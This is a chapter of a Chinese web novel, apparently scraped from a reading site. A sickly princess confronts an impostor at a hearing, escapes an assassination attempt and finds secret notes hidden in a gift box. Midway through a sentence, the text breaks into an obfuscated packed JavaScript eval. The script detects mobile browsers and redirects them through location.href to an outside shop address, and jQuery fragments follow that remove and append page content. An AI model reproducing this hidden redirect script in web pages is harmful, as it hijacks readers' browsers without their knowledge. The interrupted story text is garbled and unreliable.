6. 第 6 章 堂前出事

作品:《病弱公主她不想联姻

    文雀大步上前,丢掉手上的剑,接住摇摇欲坠的崔文清,缓缓扶着她坐下。


    眼神示意来人,收拾地上的残局。


    崔文清阖上眼睛,抬手轻抚着额角。


    陈公公见状,抬手一挥,身边人心领神会,端上一个木盒呈上。


    “公主殿下稍安勿躁,这贼人满口胡言信不得,如今想要查明真相,还得从二人递上来的牌子入手。杂家以为,世子殿下定是公正贤良之人,绝不会做此等有伤风化之事。”


    裴逸舟听完陈公公一番话,克制不住一般,莫名笑出声来,愈发放肆。


    片刻之后,笑累了才堪堪停下,用指腹擦拭眼角溢出的泪。


    “陈公公。”裴逸舟整个人放松下来,补上未说完的话,“您可真会说笑,我这人哪是什么公正贤良之辈,明明就是杀伐无情的杀人工具啊。”


    “不过有一点您说对了,我也很好奇她们是怎么弄来南越国印记的牌子的,毕竟您火眼金睛,一眼便能判定真假。”


    裴逸舟话音一转,像是哄骗人一般。


    “说到这,公主殿下可真真误会我了,明明之前一切都好好的,现在来个不知名的小人物,几句无凭的话就惹得您同我生疏,连个笑容都不愿给我,真叫本王伤心啊。”


    崔文清缓过劲儿来,唇角扯出一抹微笑,答话道。


    “世子殿下误会了,方才被这贼人气昏了头,一时头晕目眩,这才闹出了笑话,还请世子殿下见谅。”


    “是本王照顾不周,一时忘了公主殿下风寒尚未痊愈。既然如此,那就速战速决吧。”


    裴逸舟抬眼示意人打开木盒。


    小厮走上前,打开盒子,让裴逸舟先过目。


    接着走到崔文清面前,凑得近,甚至能闻到一股松木香。


    崔文清心里一沉,这块牌子无论是从色泽、做工,还是她特有的防伪标志,和她那块如出一辙。


    不经意收回视线,脸色平静,摆摆手让人收走。


    “如何?”


    “确是我南越国的制作风格。”


    “世上真有如此蹊跷之事?皇家令牌制作工艺精细保密,且独有一份,她们是如何拿到的?”


    陈公公用衣袖掩住惊讶张大的嘴,眼珠子却平静无波,望向崔文清。


    “此人虽然无礼,但好歹不是冥顽不灵之人,好好问清楚兴许就有答案了呢?”


    言下之意明显,无论用什么办法,总能撬开她的嘴。


    那女子刚松下的气又悬上来,脸颊肿起,吐字含糊不清。


    “我这块令牌为真,而她的令牌说是皇室的鸽血红,便是么?”


    文雀拾起地上的剑,架在她脖子上,不敢动弹半分。


    嘴上却不依不饶叫嚣着。


    “拿不出证据,谁说得准她是不是顶包的,真正的公主吃不准就是她杀害的!”


    “血口喷人!依臣所看,不必再审,屡次冒犯皇亲,依我南越国律法,已是死罪!”


    文雀急喝,眼刀狠狠剜住她的脖颈处。


    陈公公却不急着应付,沉思一瞬,试探着开口。


    “殿下,或许您将——”


    “陈公公,我已经将令牌拿出来了,按道理来说,除了六品以上官员和皇室成员,其余人是无权查看的,现在我已做出如此巨大的让步,再找个由头验这验那的,依本公主看,北桓似乎无意两国友好。”


    崔文清冷哼一声,毫不客气地开口。


    使用此种措辞,已是十分严重的情形,在北桓国内受到如此羞辱式的对待,纵然她气性好,也不能忍受,或者说,换南越国其他皇子来,便直接掀桌杀人了。


    况且她的车马已经在路上被洗劫一空,此事只有崔文清与裴逸舟两方知晓,她也拿不出任何证明她身份的东西。


    “公主殿下恕罪,是老奴考虑不周。”陈公公赶忙起身解释。


    崔文清转问主座上看戏的男人。


    “世子殿下,您是东道主,全凭您心意定夺吧。”


    裴逸舟长手一挥,比了个手势。


    “那便按公主殿下原先心意办吧,三日内定会给您一个满意的答复。”


    得到承诺,崔文清起身将要离开。


    稍不留神,一直不语的另一名女子挣脱侍卫的束缚,抽出佩剑,直直向她杀去。


    “小心!”


    文雀动作快她一步,堪堪挡住。


    寒光剑影,碰撞出清脆的金属音。


    人群一刹那惶恐的到处乱窜,伴随着刺耳的尖叫声,往外逃离。


    “愣着干嘛,还不将人拿下!”


    侍卫这才反应过来,从她身后突击。


    那女子艰难接住文雀的进攻,抓住身侧另一名女子的衣襟,往前扔出去。


    文雀躲过人身,追上她身后。


    出手专挑空隙攻击手臂,剑刃划开女子左臂,顺势一扯,血肉模糊了印记,但隐隐透出深色的刺青模样。


    抓住空档,正要打落她手中的剑。


    一支冷箭擦过文雀耳畔,瞬间见红。


    往后退了两步,那女子抓住时机逃之夭夭。


    文雀停下追击,转身查看崔文清状况。


    “殿下,可有受伤?”


    崔文清没回话,伸手抚上她的脸颊,在伤口几厘米处停下,手指明显颤抖。


    倏然转头大声命令。


    “快传医师来!”


    那一抹红色与崔文清面色的苍白形成了鲜明对比,分辨不出是血色更红,还是面色更白。


    裴逸舟拔下深入地板的箭簇,粗略扫过,冷面吩咐手下。


    “全城悬赏通缉令,抓到直接动刑,留活口。”


    走上前为崔文清披上大氅,轻声安抚。


    “殿下受惊了,我让人护送您回房休养,为文雀姑娘寻一位御医,我保证定不会留疤。”


    崔文清宛如才回魂般盯住他,眼泪大滴大滴坠下,像极了断线的南海白玉珍珠。


    “殿下一定要彻查此事,到底是谁要害我二人,破坏两国之间的友谊。”


    崔文清气差点喘不上来,却坚持一字一句将话说完。


    得到裴逸舟的允诺,神经一下松懈下来,一股无力感席卷全身,接着意识如退潮的海水般消退。


    再次醒来,她估约着应该没过多久,医师与人交谈的声音传入她的耳朵。


    “殿下不必担心...惊恐过度...休养即可。”


    崔文清全身上下使不上劲儿,连张开嘴也变得格外艰难。


    还未发出声音,寒冷的空气灌入她的胸腔,肺部


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989041|193679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    搔痒,忍不住咳嗽起来。


    身旁的侍女率先注意到,将她扶坐起来。


    门外人听见声响,停止交谈,轻叩两下门。


    “公主殿下,可否让老夫进来为您把脉?”


    “请进。”


    侍女倒好一杯温水,她自然接过,摆手让其退下。


    临走前又叫住,“文雀姑娘如何了?”


    “没有大碍,医师为她上了药,大概过段时间疤痕就会消除。”


    随着医师进来的还有文雀。


    文雀大步上前,握住崔文清的手,温热的手将寒气驱赶,眼睛亮亮的。


    崔文清侧过身子,观察包扎好的耳朵和脸上敷药的剑痕,皱起眉头。


    医师离开后,她才注意到直直站在门外的裴逸舟。


    “世子殿下,有劳您费心了。”


    “是我分内的事。况且敢在世子府行刺,确实也该整治一下,不然都不知道这是谁的地盘了。”


    崔文清起身出门,与裴逸舟面面相对。


    “殿下受了惊吓,应多休息。”随即递过一长条的红色礼盒。


    “为表歉意,这是我为殿下准备的赔礼。”


    崔文清刚要拒绝,手却被他按住。


    “还请殿下见谅。”


    裴逸舟前脚离开,崔文清便收敛住表情。


    “殿下,是我失职,没能拦截消息。”


    “不怪你,毕竟这么些年,又不是第一次想要我的命。”


    “只是我没想到,他二人的恩怨,扯上我作甚。”


    崔文清摩挲着礼盒的表面,接着分析。


    “陈公公跟着皇上这么些年,眼尖得很,仿一个牌子不难。只是——”


    难的是仿她的暗纹。


    她所有经手的文书和印章都带有自己的暗纹,工艺只有暗部掌握,而暗部全是跟着她多年的心腹。


    出叛徒了呀。


    毕竟皇帝年事已高,传位也是近些年的事了,是要着手准备自己的选择了。


    她这位堂兄继承了他们家族一贯的心狠手辣,只是崇尚武力至上,脑子不够活络,做事不干净,也不屑于处理。


    “这次行刺风声一点不漏,不像他的做事风格。”


    “殿下的意思是,有人帮他掩盖了行踪。”


    这里山高地远,京城势力伸不到这里,消息滞后,就算做了,也不可能瞒得过她的眼线。


    如果是裴逸舟,试探确实有助于他确认身份,可行刺她的精力不够划算,传出去对他的治理也是不利居多。


    “文雀,那人的剑法,你觉不觉得熟悉?”


    文雀低头沉思,倏然眼睛闪过一瞬清明。


    “那种剑法在南部不常用,几年前似乎见过一次,好像是,益州?”


    益州,位于北桓西南部,多民族杂居,近年冲突不断,本土地方豪强势力强大。


    “没想到来北桓之后,想要我的命的人越来越多了。”


    崔文清自嘲般笑笑,扣住盒子一侧,骤然僵住。


    盒子有一个小机关,从底部打开,弹出两张纸条。


    两者摸起来质感不同。


    一张写着“益州张氏,意欲起兵独立”。


    另一张写着“太子启奏皇上,欲下月中旬南下巡视”。